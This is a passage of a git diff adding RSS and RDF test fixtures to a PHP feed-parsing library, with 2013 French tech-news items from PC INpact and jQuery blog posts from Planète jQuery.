la diagonale d'écran idéale pour une tablette tactile ?</title><description>En d&amp;eacute;but de semaine, nous vous demandions quelle &amp;eacute;tait pour vous&amp;nbsp;la diagonale d'&amp;eacute;cran id&amp;eacute;ale pour un smartphone. Nous avons cette fois d&amp;eacute;cid&amp;eacute; de vous poser la m&amp;ecirc;me question, mais pour les tablettes tactiles.</description><a10:updated>2013-04-05T15:30:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78862?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78858</guid><link>http://www.pcinpact.com/breve/78858-retour-sur-designation-parlementaires-au-sein-rangs-cnnum.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Retour sur la désignation de parlementaires au sein des rangs du CNNum</title><description>L&amp;rsquo;on a su cette semaine que les&amp;nbsp;quatre parlementaires&amp;nbsp;d&amp;eacute;sign&amp;eacute;s pour si&amp;eacute;ger au sein de la formation &amp;eacute;largie du nouveau Conseil national du num&amp;eacute;rique &amp;eacute;taient Laure de la Raudi&amp;egrave;re et Christian Paul du c&amp;ocirc;t&amp;eacute; de l&amp;rsquo;Assembl&amp;eacute;e nationale, ainsi que Bruno Retailleau et Pierre Camani pour le S&amp;eacute;nat. Une fois install&amp;eacute;s au sein de la formation &amp;eacute;largie de l'institution, ces &amp;eacute;lus auront &amp;agrave; approuver son programme annuel de travail. Retour sur ces nominations.</description><a10:updated>2013-04-05T15:20:07Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78858?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78847</guid><link>http://www.pcinpact.com/breve/78847-blackberry-q10-precommandes-ouvertes-au-royaume-uni.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>BlackBerry Q10 : les précommandes ouvertes au Royaume-Uni</title><description>La deuxi&amp;egrave;me partie du lancement de la plateforme BlackBerry 10 arrivera tr&amp;egrave;s prochainement avec le Q10. Le second smartphone du constructeur canadien dispose cette fois d&amp;rsquo;un clavier physique. Au Royaume-Uni, les pr&amp;eacute;commandes sont ouvertes, signe d&amp;rsquo;un lancement pour bient&amp;ocirc;t dans le reste du monde.</description><a10:updated>2013-04-05T15:07:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78847?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78714</guid><link>http://www.pcinpact.com/breve/78714-celeron-1019y-pentium-a-10-watts-tdp-qui-nose-pas-dire-son-nom.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Celeron 1019Y : un Pentium à 10 watts de TDP qui n'ose pas dire son nom ?</title><description>Intel profitait du CES en janvier dernier pour d&amp;eacute;voiler une nouvelle s&amp;eacute;rie de processeurs mobiles au TDP r&amp;eacute;duit : 10 &amp;agrave; 13 watts seulement. Il n'&amp;eacute;tait alors question que des gammes Core et Pentium, ce qui n'est plus le cas puisque ARK &amp;eacute;voque d&amp;eacute;sormais un premier Celeron : le 1019Y. Un produit qui ne m&amp;eacute;rite pas une telle appellation ?</description><a10:updated>2013-04-05T14:55:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78714?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78387</guid><link>http://www.pcinpact.com/breve/78387-yahoo-pourrait-racheter-dailymotion-et-developer-aux-usa.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[MàJ] Yahoo! pourrait croquer 75 % de Dailymotion</title><description>Article du 20/03/2013. Depuis plusieurs mois, Orange, d&amp;eacute;sormais propri&amp;eacute;taire &amp;agrave; 100 % de Dailymotion, cherche un investisseur et un partenaire aux &amp;Eacute;tats-Unis, en vue d'y d&amp;eacute;velopper la plateforme. Un partenaire qui pourrait s'appeler Yahoo! &amp;agrave; en croire le Wall Street Journal.</description><a10:updated>2013-04-05T14:42:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78387?a7c3fcd24befdac2c143e25865b0c18c</image></item><item><guid isPermaLink="false">78860</guid><link>http://www.pcinpact.com/breve/78860-sony-veut-attirer-public-plus-feminin-sur-playstation-4.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Sony veut attirer un public plus féminin sur la PlayStation 4</title><description>Pour que la PlayStation 4 soit un succ&amp;egrave;s indiscutable, elle devra &amp;agrave; la fois convaincre les joueurs assidus, mais aussi un public plus large comprenant les joueurs occasionnels et les femmes. Pour ce faire, Andrew House, le PDG de Sony Computer Entertainment a d'ores et d&amp;eacute;j&amp;agrave; &amp;eacute;tabli un plan.&amp;nbsp;</description><a10:updated>2013-04-05T14:30:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78860?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78861</guid><link>http://www.pcinpact.com/breve/78861-update-2-nouveau-lot-dameliorations-pour-visual-studio-2012.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Update 2 : un nouveau lot d'améliorations pour Visual Studio 2012</title><description>Microsoft a publi&amp;eacute; la deuxi&amp;egrave;me mise &amp;agrave; jour majeure pour son environnement de d&amp;eacute;veloppement, Visual Studio 2012. Cette Update 2 vient ajouter de nombreuses am&amp;eacute;liorations mais apporte &amp;eacute;galement quelques nouveaut&amp;eacute;s importantes telles que l&amp;rsquo;int&amp;eacute;gration de Git, en plus de faciliter la gestion des projets dans les grandes &amp;eacute;quipes.</description><a10:updated>2013-04-05T14:24:34Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78861?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78859</guid><link>http://www.pcinpact.com/breve/78859-the-phone-house-proposera-forfaits-dorange-jusqua-fin-2014.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>The Phone House proposera les forfaits d'Orange jusqu'à fin 2014</title><description>Selon Le Figaro, Orange a finalement reconduit d'un an son contrat avec The Phone House. L'op&amp;eacute;rateur historique, qui repr&amp;eacute;sente pr&amp;egrave;s d'un quart du chiffre d'affaires de l'enseigne, sera donc propos&amp;eacute; chez The Phone House jusqu'au 31 d&amp;eacute;cembre 2014, alors qu'un d&amp;eacute;part le 31 d&amp;eacute;cembre 2013 &amp;eacute;tait initialement pr&amp;eacute;vu pour des raisons financi&amp;egrave;res.</description><a10:updated>2013-04-05T14:15:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78859?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78845</guid><link>http://www.pcinpact.com/breve/78845-fiscalite-numerique-loi-senateur-marini-ensevelie-par-majorite.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Fiscalité numérique : la loi du sénateur Marini « ensevelie » par la majorité</title><description>Par 209 voix &amp;laquo;&amp;nbsp;pour&amp;nbsp;&amp;raquo; et 137 voix &amp;laquo;&amp;nbsp;contre&amp;nbsp;&amp;raquo;, la proposition de loi du s&amp;eacute;nateur Marini &amp;laquo;&amp;nbsp;pour une fiscalit&amp;eacute; num&amp;eacute;rique neutre et &amp;eacute;quitable&amp;nbsp;&amp;raquo;&amp;nbsp;a &amp;eacute;t&amp;eacute; renvoy&amp;eacute;e hier en commission des finances. Cette option &amp;eacute;tait d&amp;eacute;fendue sur les bancs du S&amp;eacute;nat par plusieurs &amp;eacute;lus de la majorit&amp;eacute; socialiste ainsi que par la ministre d&amp;eacute;l&amp;eacute;gu&amp;eacute;e &amp;agrave; l&amp;rsquo;&amp;Eacute;conomie num&amp;eacute;rique, Fleur Pellerin.</description><a10:updated>2013-04-05T14:01:32Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78845?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78526</guid><link>http://www.pcinpact.com/breve/78526-nas-netgear-nouveaux-readynas-sont-disponibles-a-partir-200.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>[Brève] NAS Netgear : les nouveaux ReadyNAS sont disponibles à partir de 200 €</title><description>Il y a deux semaines, Netgear chamboulait toute sa gamme de NAS et d&amp;eacute;voilait plusieurs nouvelles s&amp;eacute;ries de produits au sein de sa gamme ReadyNAS. Une partie d'entre eux est disponible chez Materiel.net, c'est l'occasion de faire le point sur les prix.</description><a10:updated>2013-04-05T13:39:46Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78526?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78839</guid><link>http://www.pcinpact.com/breve/78839-la-facture-moyenne-dans-mobile-sest-effondree-en-2012.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>La facture moyenne dans le mobile s'est effondrée en 2012</title><description>L'ARCEP, l'Autorit&amp;eacute; de r&amp;eacute;gulation des t&amp;eacute;l&amp;eacute;coms, a publi&amp;eacute; hier son bilan des t&amp;eacute;l&amp;eacute;communications en France pour l'ann&amp;eacute;e 2012. Si la plupart des donn&amp;eacute;es &amp;eacute;taient d&amp;eacute;j&amp;agrave; connues auparavant, le r&amp;eacute;gulateur nous apprend toutefois que la facture par client chez les op&amp;eacute;rateurs mobiles s'est totalement effondr&amp;eacute;e l'an pass&amp;eacute;.</description><a10:updated>2013-04-05T12:59:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78839?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78857</guid><link>http://www.pcinpact.com/breve/78857-microsoft-trouve-arrangement-avec-fox-a-propos-killer-instinct.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Microsoft trouve un arrangement avec la Fox à propos de Killer Instinct</title><description>Nous vous l'expliquions au d&amp;eacute;but du mois de d&amp;eacute;cembre, Microsoft avait essuy&amp;eacute; un refus de&amp;nbsp;l'USPTO (United States Patent and Trademark Office) concernant l'utilisation de la licence&amp;nbsp;&amp;laquo; Killer Instinct&amp;nbsp;&amp;raquo; pour un futur jeu vid&amp;eacute;o. La firme de Redmond a toutefois r&amp;eacute;ussi &amp;agrave; trouver un arrangement avec Fox Television, propri&amp;eacute;taire des droits sur ce nom.&amp;nbsp;</description><a10:updated>2013-04-05T12:48:35Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78857?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78848</guid><link>http://www.pcinpact.com/breve/78848-applications-ios-adobe-fait-machine-arriere-sur-royalties-director-12.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Applications iOS : Adobe fait machine arrière sur les royalties de Director 12</title><description>En f&amp;eacute;vrier, Adobe avait d&amp;eacute;chain&amp;eacute; les passions autour d&amp;rsquo;un point particuli&amp;egrave;rement sensible de la licence utilisateur de son Director 12. Ainsi, dans le cadre de la publication d&amp;rsquo;une application payante sur l&amp;rsquo;App Store d&amp;rsquo;iOS, l&amp;rsquo;&amp;eacute;diteur souhaitait r&amp;eacute;cup&amp;eacute;rer 10 % des b&amp;eacute;n&amp;eacute;fices. Une manne r&amp;eacute;guli&amp;egrave;re &amp;agrave; laquelle la firme a finalement renonc&amp;eacute;.</description><a10:updated>2013-04-05T12:31:33Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78848?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78836</guid><link>http://www.pcinpact.com/breve/78836-gigabyte-exhibe-sa-gtx-titan-overclockee-avec-ventirad-windforce-3x.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Gigabyte exhibe sa GTX Titan overclockée avec un ventirad WindForce 3X</title><description>Lors d'une pr&amp;eacute;sentation au Gigabyte Tech Tour,&amp;nbsp; le constructeur a bri&amp;egrave;vement d&amp;eacute;voil&amp;eacute; sa prochaine GeForce GTX Titan. Ce prochain mod&amp;egrave;le aura des fr&amp;eacute;quences revues &amp;agrave; la hausse et embarquera un syst&amp;egrave;me de refroidissement maison : le WindForce 3X.</description><a10:updated>2013-04-05T12:14:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78836?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78852</guid><link>http://www.pcinpact.com/breve/78852-enermax-coenus-boitier-atx-a-70-avec-design-plutot-agressif.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Enermax Coenus : un boîtier ATX à 70 € avec un design plutôt agressif</title><description>Enermax vient de d&amp;eacute;voiler officiellement son nouveau bo&amp;icirc;tier pens&amp;eacute; pour les amateurs de design pr&amp;eacute;tun&amp;eacute; : le Coenus - ECA3290A. En effet, il dispose d'un look qui ne passe vraiment pas inaper&amp;ccedil;u et se montre compatible avec les cartes m&amp;egrave;res au format ATX. Bien &amp;eacute;videmment, il propose plusieurs emplacements aux formats de 2,5" et de 3,5", deux ventilateurs de 120 mm ainsi que deux connecteurs USB 3.0.</description><a10:updated>2013-04-05T11:37:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78852?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78851</guid><link>http://www.pcinpact.com/breve/78851-les-conclusions-mission-lescure-ne-seront-pas-connues-avant-mai.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Les conclusions de la mission Lescure ne seront pas connues avant mai</title><description>Info PC INpact&amp;nbsp;: Selon nos informations, les conclusions de la mission Lescure ne seront pas connues avant le d&amp;eacute;but du mois de mai. Il s&amp;rsquo;agit donc d&amp;rsquo;un nouveau report, puisqu&amp;rsquo;initialement pr&amp;eacute;vues pour le mois de mars, les recommandations de l'ancien PDG de Canal + avaient &amp;eacute;t&amp;eacute; repouss&amp;eacute;es &amp;agrave; la mi-avril.</description><a10:updated>2013-04-05T10:22:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78851?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78855</guid><link>http://www.pcinpact.com/breve/78855-bbox-sensation-ameliorations-sur-interface-media-center-et-wi-fi.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Bbox Sensation : des améliorations sur l'interface, le média center et le Wi-Fi</title><description>Apr&amp;egrave;s deux semaines de b&amp;ecirc;ta, Bouygues Telecom serait en train de d&amp;eacute;ployer un nouveau firmware estampill&amp;eacute; 8.5.14 sur ses Bbox Sensation ADSL&amp;nbsp;(voir notre dossier). Celui-ci apporte des am&amp;eacute;liorations du c&amp;ocirc;t&amp;eacute; de l'interface, du Wi-Fi et du m&amp;eacute;dia center, tout en corrigeant des bugs.&amp;nbsp;</description><a10:updated>2013-04-05T10:12:00Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78855?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78844</guid><link>http://www.pcinpact.com/breve/78844-la-beta-chrome-27-permet-manipulation-son-en-loca.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>La bêta de Chrome 27 permet la manipulation du son en local</title><description>Google a publi&amp;eacute; hier soir la b&amp;ecirc;ta de son navigateur Chrome en version 27. L&amp;rsquo;&amp;eacute;diteur annonce une hausse des performances ainsi qu&amp;rsquo;une meilleure pr&amp;eacute;sentation de certains &amp;eacute;l&amp;eacute;ments HTML5. Comme d&amp;rsquo;habitude, on retrouve &amp;eacute;galement diverses am&amp;eacute;liorations sous le capot ainsi que la prise en charge de technologies suppl&amp;eacute;mentaires pour les d&amp;eacute;veloppeurs.</description><a10:updated>2013-04-05T09:46:10Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78844?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78825</guid><link>http://www.pcinpact.com/breve/78825-interview-christian-paul-estime-que-cnnum-doit-s-affranchir-tabous.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Interview : Christian Paul estime que le CNNum doit s’affranchir des tabous</title><description>Christian Paul fait partie des deux d&amp;eacute;put&amp;eacute;s d&amp;eacute;sign&amp;eacute;s par le pr&amp;eacute;sident de l&amp;rsquo;Assembl&amp;eacute;e nationale pour si&amp;eacute;ger au sein de la formation &amp;eacute;largie du Conseil national du num&amp;eacute;rique. Il donne aujourd&amp;rsquo;hui &amp;agrave; PC INpact une premi&amp;egrave;re r&amp;eacute;action &amp;agrave; cette nomination.</description><a10:updated>2013-04-05T08:52:22Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78825?c108499982ca87e054289bdb82937c5c</image></item><item><guid isPermaLink="false">78843</guid><link>http://www.pcinpact.com/breve/78843-le-htc-one-est-disponible-en-stock-chez-bouygues-et-sfr-a-partir-5999.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><title>Le HTC One est disponible en stock chez Bouygues et SFR, à partir de 59,99 €</title><description>Apr&amp;egrave;s avoir &amp;eacute;t&amp;eacute; retard&amp;eacute; &amp;agrave; cause d'un probl&amp;egrave;me de production sur sa coque, le HTC One est enfin disponible en stock chez les op&amp;eacute;rateurs. Ainsi, Bouygues Telecom le propose &amp;agrave; partir de 299,90 &amp;euro; avec son forfait Eden Smartphone 5 Go, contre 59,99 &amp;euro; chez SFR avec une formule Carr&amp;eacute; 6 Go</description><a10:updated>2013-04-05T08:40:51Z</a10:updated><image>http://static.pcinpact.com/images/bd/dedicated/78843?c108499982ca87e054289bdb82937c5c</image></item></channel></rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/planete-jquery.xml b/vendor/fguillot/picofeed/tests/fixtures/planete-jquery.xml
new file mode 100644
index 000000000..43aa1b3dc
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/planete-jquery.xml
@@ -0,0 +1,443 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+
+ <rdf:RDF
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+ xmlns:admin="http://webns.net/mvcb/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:content="http://purl.org/rss/1.0/modules/content/"
+ xmlns="http://purl.org/rss/1.0/">
+
+ <channel rdf:about="http://planete-jquery.fr">
+ <title>Planète jQuery : l'actualité jQuery, plugins jQuery et tutoriels jQuery en français</title>
+ <description>Planète jQuery Francophone - L'actualité jQuery en français</description>
+ <link>http://planete-jquery.fr</link>
+ <dc:language>fr</dc:language>
+ <dc:creator>Damien Decaux</dc:creator>
+ <dc:rights></dc:rights>
+ <dc:date>2013-03-20T04:16:30+00:00</dc:date>
+ <admin:generatorAgent rdf:resource="http://planete-jquery.fr" />
+
+ <items>
+ <rdf:Seq>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-108/"/>
+<rdf:li rdf:resource="http://www.lafermeduweb.net/billet/powertip-des-tooltips-aux-fonctionnalites-avancees-1516.html"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/"/>
+<rdf:li rdf:resource="http://www.megaptery.com/2013/03/tooltipster-tooltip-jquery-moderne-flexible.html"/>
+<rdf:li rdf:resource="http://www.lafermeduweb.net/billet/spectrum-un-colorpicker-jquery-tres-complet-1527.html"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-106/"/>
+<rdf:li rdf:resource="http://www.lafermeduweb.net/billet/fancy-input-donnez-du-style-a-vos-input-et-textarea-en-css3-1525.html"/>
+<rdf:li rdf:resource="http://js.4design.tl/diyslider-slider-leger-et-personnalisable-1524"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-105/"/>
+<rdf:li rdf:resource="http://blog.ludikreation.com/2013/02/14/gmap3-plugin-jquery-facilitez-vous-lintegration-de-google-maps/"/>
+<rdf:li rdf:resource="http://www.lafermeduweb.net/billet/threesixty-slider-un-plugin-jquery-de-slider-d-image-a-360-1520.html"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/02/comment-bien-choisir-vos-plugins/"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-104/"/>
+<rdf:li rdf:resource="http://www.megaptery.com/2013/02/vague-du-web-3.html"/>
+<rdf:li rdf:resource="http://js.4design.tl/parcourir-le-dom-en-php-avec-simple-html-dom-1578"/>
+<rdf:li rdf:resource="http://chez-syl.fr/2013/02/jquery-1-9-et-browser/"/>
+<rdf:li rdf:resource="http://chez-syl.fr/2013/02/site-du-zero-notifications-1-5-3/"/>
+<rdf:li rdf:resource="http://www.lafermeduweb.net/billet/image-picker-une-selectbox-combinee-a-des-images-avec-jquery-1512.html"/>
+<rdf:li rdf:resource="http://www.megaptery.com/2013/01/blackandwhite-images-noir-blanc-jquery.html"/>
+<rdf:li rdf:resource="http://www.mathieurobin.com/2013/01/chroniques-jquery-episode-103/"/>
+ </rdf:Seq>
+ </items>
+ </channel>
+<item rdf:about="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-108/"><title>MathieuRobin : Chroniques jQuery, épisode 108</title><link>http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-108/</link><dc:date>2013-03-11T09:06:01+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Hello tout le monde ! Alors que je m’apprête à pondre un second coup de gueule contre Darty, la chronique, elle, continue sans soucis. Rien d’officiel ceci dit.</p>
+<p>On a le droit à <a title="jQuery Mobile 1.3: What's New?" href="http://www.elated.com/articles/jquery-mobile-1-3-whats-new/" target="_blank">un topo très complet et intéressant</a>, en anglais, de la part de l’équipe de elated sur la sortie de jQuery Mobile 1.3. Je vous le conseille franchement.</p>
+<p>Un énième site pour répertorier les plugins vient de voir le jour. Il a pour mérite d’être plutot bien réalisé et de regrouper plus de 600 plugins. J’espère qu’ils continueront d’alimenter la liste, <a title="unheap" href="http://www.unheap.com/" target="_blank">unheap</a> fait désormais partie de mes sources de plugins. Merci à tous les twittos qui en ont parlé et qui m’ont permis de découvrir ce service.</p>
+<p>Comme souvent, <a title="Tooltipster, une tooltip jQuery moderne et flexible | Megaptery" href="http://www.megaptery.com/2013/03/tooltipster-tooltip-jquery-moderne-flexible.html" target="_blank">Megaptery</a> a su nous dégoter une jolie petite perle. <a title="Tooltipster" href="http://calebjacob.com/tooltipster/" target="_blank">Tooltipster</a> est un plugin de tooltip très complet et qui permet une énorme personnalisation via CSS. Personnellement, je préfère de loin ce plugin à celui de Twitter Bootstrap.</p>
+<p>C’est tout pour cette semaine, j’espère avoir le temps de bloguer sur d’autres choses cette semaine. Vous pouvez retrouver l’ensemble des liens de cette chronique sur <a title="Episode 108 sur Evernote" href="https://www.evernote.com/pub/mathrobin/episode108" target="_blank">un carnet dédié sur Evernote</a>.</p>
+<p>Dernière petite chose, que pensez vous de cette chronique ? Que voulez vous de différent ? Avez-vous des choses à proposer ? J’aimerais bien avoir vos avis.</p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2917&amp;md5=06cd0e0a951f4ba114c0db43ce27b944" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-108/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.lafermeduweb.net/billet/powertip-des-tooltips-aux-fonctionnalites-avancees-1516.html"><title>LaFermeDuWeb : PowerTip - Des tooltips aux fonctionnalités avancées</title><link>http://www.lafermeduweb.net/billet/powertip-des-tooltips-aux-fonctionnalites-avancees-1516.html</link><dc:date>2013-03-07T09:15:00+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LaFermeDuWeb</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div>
+ <a href="http://www.lafermeduweb.net/billet/powertip-des-tooltips-aux-fonctionnalites-avancees-1516.html">
+ <img style="border: 1px solid #000000;" src="http://www.lafermeduweb.net/images/billets/2013-03/powertip_topBillet.jpg" alt="PowerTip - Des tooltips aux fonctionnalités avancées" />
+ </a>
+ </div>
+ <div>PowerTip est une bibliothèque jQuery permettant de créer des tooltips avec des fonctionnalités avancées.</div><p><br/><i>Article original de <a href="http://www.lafermeduweb.net/billet/powertip-des-tooltips-aux-fonctionnalites-avancees-1516.html" title="Voir l'article original">LaFermeDuWeb</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/"><title>MathieuRobin : Chroniques jQuery, épisode 107</title><link>http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/</link><dc:date>2013-03-06T09:08:23+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p> Salut à tous ! Semaine difficile, écriture compliquée par la fatigue, ce billet est pourtant un des plus intéressants que j’ai pu écrire dans cette chronique. Je vous laisse découvrir pourquoi :</p>
+<p>Sortie de <strong>la beta 2 de jQuery 2.0 !</strong></p>
+<p><a title="jQuery 2 beta 2 released !" href="http://blog.jquery.com/2013/03/01/jquery-2-0-beta-2-released/" target="_blank">L’annonce</a> a été faite vendredi par Dave Methvin. Bien entendu, le support de IE 6, 7 et 8 a été supprimé. Vous devrez donc faire quelque chose de ce genre si vous souhaitez migrer et continuer de supporter ces navigateurs :</p>
+<pre><!--[if lt IE 9]>
+ <script src="jquery-1.9.1.js"></script>
+<![endif]-->
+<!--[if gte IE 9]><!-->
+ <script src="jquery-2.0.0b2.js"></script>
+<!--<![endif]--></pre>
+<p>Au delà de ça, je vous laisse regarder le lien ci-dessus, trop de détails pour vous les détailler ici et je manque malheureusement de temps. Cette version amène énormément de changements, la migration risque d’être délicate. Le lien contient le changelog complet.</p>
+<p>Autre information officielle, le déroulement de jQuery Europe le 23 et 24 février dernier à Vienne. J’avais raté l’information mais mon amie <a title="Twitter - agcolom" href="https://twitter.com/agcolom/status/306474805652242433" target="_blank">Anne-Gaëlle Colom m’a permis de rattraper ce manque</a>. Voilà le <a title="jQuery Europe 2013" href="http://events.jquery.org/2013/eu/" target="_blank">lien officiel</a> sur l’évènement, vous trouverez <a title="jQuery Europe: Top International Developers Meet in Vienna" href="http://www.prnewswire.co.uk/news-releases/jquery-europe-top-international-developers-meet-in-vienna-192987771.html" target="_blank">un article assez intéressant</a> sur le sujet chez PR Newswire UK.</p>
+<p>L’agence de presse déléguée sur place a partagé ses photos. Dans l’ordre <a title="jQuery Europe: Internationale Top-Software-Entwickler tagten in Wien" href="http://www.apa-fotoservice.at/galerie/3891" target="_blank">celles du vendredi</a> et <a title="jQuery Europe: Internationale Top-Software-Entwickler tagten in Wien" href="http://www.apa-fotoservice.at/galerie/3894" target="_blank">celles du samedi</a>. Et celles de Gentics Software <a title="jQuery Europe 2013 friday" href="http://www.flickr.com/photos/genticssoftware/sets/72157632829497070/" target="_blank">le vendredi</a> et <a title="jQuery Europe 2013 saturday" href="http://www.flickr.com/photos/genticssoftware/sets/72157632832438993/" target="_blank">le samedi</a>.</p>
+<p>Je n’ai pas eu le temps de me pencher là dessus, mais le weekend dernier, la conférence <a title="jQueryTO - Toronto's jQuery Conference" href="http://jqueryto.com/" target="_blank">jQueryTO</a> a eu lieu à Toronto.</p>
+<p>Avant de continuer, je remercie donc Anne-Gaëlle pour toutes ces informations que je n’avais pas pu glaner.</p>
+<p>Un <a title="Try jQuery" href="http://try.jquery.com/" target="_blank">tutoriel imposant</a> côté officiel a été publié et me fait un peu penser aux tutoriels de la <a title="Khan Academy" href="https://www.khanacademy.org/" target="_blank">KhanAcademy</a> ou encore comme <a title="Try GitHub" href="http://try.github.com/levels/1/challenges/1" target="_blank">le tutoriel pour GitHub</a>.</p>
+<p>Passons aux plugins, avec une grosse fournée cette semaine. La palme revient à Stéphanie Walter. Son <a title="Des pixels et du code 51" href="http://www.inpixelitrust.fr/blog/des-pixels-et-du-code-51/" target="_blank">épisode 51</a> était très riche pour ma propre chronique.</p>
+<p><a title="Use hook" href="http://usehook.com/" target="_blank">Hook.js</a>, un plugin pour faire comme une sorte de pull-to-refresh, comme sur Twitter. Ce plugin séduit pas mal en ce moment, il a aussi eu le droit à un article chez <a title="Hook.js - Adoptez le "pull to refresh" dans vos pages web" href="http://www.lafermeduweb.net/billet/hook-js-adoptez-le-pull-to-refresh-dans-vos-pages-web-1530.html" target="_blank">La Ferme du Web</a>.</p>
+<p><a title="Toolbar.js" href="http://paulkinzett.github.com/toolbar/" target="_blank">Toolbar.js</a>, une sorte de barre d’outils, très simple, mais reste efficace.</p>
+<p>Dans les autres outils, on peut compter :</p>
+<p><a title="JSZip" href="http://stuk.github.com/jszip/" target="_blank">JSZip</a>, pour zipper et dézipper via JavaScript.</p>
